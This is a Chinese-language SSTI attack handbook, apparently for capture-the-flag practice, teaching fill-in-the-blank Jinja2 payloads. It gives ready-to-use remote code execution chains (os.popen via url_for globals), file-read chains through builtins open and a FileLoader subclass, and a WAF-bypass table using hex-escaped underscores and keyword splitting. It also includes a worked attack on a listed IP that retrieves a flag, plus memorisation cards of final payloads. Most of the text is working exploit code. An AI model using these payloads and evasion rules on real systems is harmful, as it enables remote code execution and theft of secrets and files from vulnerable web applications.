SSTI攻击链构造手册(带WAF绕过)
SSTI攻击链构造手册 - 从看懂到自己写
适用人群:能看懂payload但自己写不出来的同学
核心目标:给你一个"填空模板",照着填就能构造出payload
作者:K1NG(原创)
一、核心问题:为什么你写不出来?
你的现状
看到payload:哦,我懂了! 自己写:呃...先写什么来着?这个attr放哪?引号怎么配对?原因
不是你笨,是你缺一个固定模板。就像做菜,你看了100道菜谱,但如果没人告诉你"先热油、再放葱、最后放菜"的顺序,你还是不会做。
解决方案
记住一个5步攻击链,每次做题照着走:
二、SSTI五步攻击链(背下来!)
第1步:验证漏洞 → 确认有SSTI 第2步:信息收集 → 看config里有没有flag 第3步:选择武器 → 决定用哪条链 第4步:构造payload → 按模板填空 第5步:绕过WAF → 遇到过滤就替换三、每一步详细操作
第1步:验证漏洞
目标:确认网站有SSTI漏洞
操作:输入{{7*7}}
判断:
- 返回
49→ 有SSTI,继续 - 返回
{{7*7}}→ 没有SSTI(原样输出) - 返回
BLOCKED→ 有WAF,看第5步
第2步:信息收集
目标:看flag藏在哪
按顺序试这三个:
试1:{{config}} → 找 SECRET_KEY,如果有flag值 → 直接拿到了! 试2:{{url_for.__globals__['os'].popen('ls').read()}} → 看文件列表,有flag文件 → cat它 试3:{{url_for.__globals__['os'].popen('env').read()}} → 看环境变量,有FLAG= → 直接拿到如果没有WAF,这三个就够了!90%的题用试2就能解。
第3步:选择武器(核心!)
有3条攻击链,按优先级选:
武器A:RCE万能指令(最常用,先试这个)
{{url_for.__globals__['os'].popen('命令').read()}}什么时候用:没有WAF,或WAF较弱
用法:把"命令"换成ls、cat flag、env等
武器B:open读文件(WAF拦了os/popen时用)
{{lipsum.__globals__['__builtins__']['open']('/flag').read()}}什么时候用:os被拦、popen被拦,但open没被拦
链路:
lipsum → __globals__ → __builtins__ → open → 读文件 → read武器C:类继承链+FileLoader(全被拦时用)
{{().__class__.__bases__[0].__subclasses__()[91].get_data(0,'/flag')}}什么时候用:连open都被拦,但FileLoader能用
链路:
() → __class__ → __bases__[0] → __subclasses__()[91] → get_data → 读文件第4步:构造payload(填空模板!)
这是最关键的一步。payload不是乱写的,有固定结构。
模板结构(像写信一样有格式)
{%动作%} 对象 |方法1 |方法2 |方法3 (参数) |方法4 (参数) %}翻译成人话:
{%print%} 入口点 |attr("钥匙1") |attr("钥匙2") ("开锁密码") |attr("钥匙3") ("文件名") |attr("钥匙4")() %}具体填空(以武器B为例)
你要读 /flag 文件,一步步填:
第1空:入口点 → lipsum(固定,不用想) 第2空:第一把钥匙 → __globals__(固定,进入全局变量) 第3空:第二把钥匙 → __getitem__(固定,用来取值) 第4空:开锁密码1 → __builtins__(固定,进入内置函数库) 第5空:第三把钥匙 → __getitem__(固定,再取值) 第6空:开锁密码2 → open(要用的函数) 第7空:文件名 → /flag(要读的文件) 第8空:最后一把钥匙 → read(读取内容)填入模板:
{%print lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("open")("/flag")|attr("read")()%}记住这个骨架!
{%print 入口|attr(钥匙)|attr(钥匙)(密码)|attr(钥匙)(密码)|attr(钥匙)(目标)|attr(钥匙)()%} ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ lipsum globals getitem builtins getitem open /flag read第5步:绕过WAF(替换表)
核心原则:WAF拦什么,你就拆什么。
替换对照表(贴在桌上看!)
| 被拦的 | 替换成 | 原理 |
|---|---|---|
{{ }} | {%print %} | 用print语句替代输出 |
.(点号) | |attr("xxx") | 用过滤器替代点号 |
__ | \x5f\x5f | hex编码绕过 |
__ | "_"~"_" | 字符串拼接绕过 |
| 被拦的关键字 | "前半"~"后半" | 拆成两半用~拼接 |
'(单引号) | "(双引号) | 换一种引号 |
[](中括号) | |attr("__getitem__")() | 用方法替代 |
{{}}被拦 | {%if 条件%}结果{%endif%} | 用if语句 |
绕过的万能公式
任何被拦的关键字 → 拆成两半,中间加 ~举例:
open 被拦 → "op"~"en" flag 被拦 → "fl"~"ag" read 被拦 → "re"~"ad" globals 被拦 → "glob"~"als" builtins 被拦 → "built"~"ins" __ 被拦 → \x5f\x5f四、实战演练:从零构造WAF题payload
用刚做的那道WAF题,演示怎么从零构造:
题目信息
- 网址:http://118.178.137.13:33007/greet
- 参数:name
- WAF拦截:
{{、__、os、popen、open、read、flag、globals、builtins、config等
构造过程
第1步:验证
输入 {{7*7}} → BLOCKED: found '{{'→{{}}被拦,换{%print%}
输入 {%print 7*7%} → 返回49 ✓第2步:试config
输入 {%print config%} → BLOCKED: found 'config'→ config被拦,放弃,直接上RCE
第3步:选武器
试武器A(RCE):
{%print url_for.__globals__['os'].popen('ls').read()%} → BLOCKED: found '__' → BLOCKED: found 'os' → BLOCKED: found 'popen'太多被拦,换武器B(open)。
第4步:构造武器B的payload
先写不带绕过的原始版:
{%print lipsum.__globals__['__builtins__']['open']('/flag').read()%}然后逐个替换被拦的部分:
| 原始 | 被拦? | 替换成 |
|---|---|---|
. | 没测,先换 | |attr("xxx") |
__globals__ | __和globals被拦 | |attr("\x5f\x5fglob"~"als\x5f\x5f") |
['__builtins__'] | __和builtins被拦 | |attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f") |
['open'] | open被拦 | |attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en") |
('/flag') | flag被拦 | ("/fl"~"ag") |
.read() | .和read被拦 | |attr("re"~"ad")() |
最终拼接结果:
{%print lipsum|attr("\x5f\x5fglob"~"als\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")("/fl"~"ag")|attr("re"~"ad")()%}第5步:验证
发送 → flag{2cbe47b7-a66b-46fd-841b-d026fab105c9} ✓五、payload构造速查卡(贴桌上的!)
5.1 三条武器链对照
武器A(RCE,最简单): {%print url_for|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("o"~"s")|attr("pop"~"en")("命令")|attr("re"~"ad")()%} 武器B(open读文件): {%print lipsum|attr("\x5f\x5fglob"~"als\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("\x5f\x5fbuilt"~"ins\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("op"~"en")("/fl"~"ag")|attr("re"~"ad")()%} 武器C(FileLoader): {%print ()|attr("\x5f\x5fcl"~"ass\x5f\x5f")|attr("\x5f\x5fba"~"ses\x5f\x5f")|first|attr("\x5f\x5fsub"~"classes\x5f\x5f")()|attr("pop")(91)|attr("get"~"_data")(0,"/fl"~"ag")%}5.2 常用命令填空
看文件列表: popen("ls") 看根目录: popen("ls /") 读文件: popen("cat /fl"~"ag") 看环境变量: popen("env") 搜索文件: popen("find / -name fl"~"ag*")5.3 绕过填空模板
原始代码: 被拦关键字.方法(参数) ↓ 绕过版: 入口|attr("\x5f\x5f拆"~"开\x5f\x5f")|attr("\x5f\x5fgetit"~"em\x5f\x5f")("拆"~"开") 规则: 1. . → |attr() 2. __ → \x5f\x5f 3. 关键字 → "前半"~"后半" 4. [] → |attr("\x5f\x5fgetitem\x5f\x5f")() 5. {{}} → {%print %}六、做SSTI题的完整流程图
开始 ↓ 输入 {{7*7}} ↓ 返回49?──No──→ 不是SSTI,换题 ↓Yes 有WAF? ↓Yes 测试WAF拦了什么(逐个关键字测试) ↓ {{}}被拦?→ 用{%print%} .被拦? → 用|attr() __被拦? → 用\x5f\x5f 关键字被拦?→ 用"前半"~"后半"拼接 ↓ 构造payload(按5.1的模板填空) ↓ 试武器B(open读文件) ↓ 失败?→ 试武器C(FileLoader) ↓ 拿到flag! ↓ 没WAF? ↓Yes 直接用武器A:{{url_for.__globals__['os'].popen('cat /flag').read()}} ↓ config有flag?→ 直接{{config}} ↓ 文件有flag? → cat flag ↓ 环境变量有? → env ↓ 搞定!七、练习建议
7.1 背诵清单
把这4行背下来,做题时往里填:
1. 验证:{%print 7*7%} 2. RCE:{%print url_for|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("命令")|attr("read")()%} 3. open:{%print lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("open")("/flag")|attr("read")()%} 4. FileLoader:{%print ()|attr("__class__")|attr("__bases__")|first|attr("__subclasses__")()|attr("pop")(91)|attr("get_data")(0,"/flag")%}7.2 练习方法
- 先背模板(不绕过的版本)
- 每次做题,先写不绕过的原始版
- 再逐个替换被拦的部分
- 记住:先写对,再绕过
7.3 常见错误
- ❌ 一上来就写绕过版,自己都看不懂
- ✅ 先写原始版,确认链路对,再逐个绕过
- ❌ 忘记引号配对
- ✅ 用双引号,避免和单引号混淆
八、一句话总结
SSTI payload不是"写"出来的,是"填空"填出来的。
记住模板 → 填入口点和目标 → 遇到WAF就替换 → 搞定。
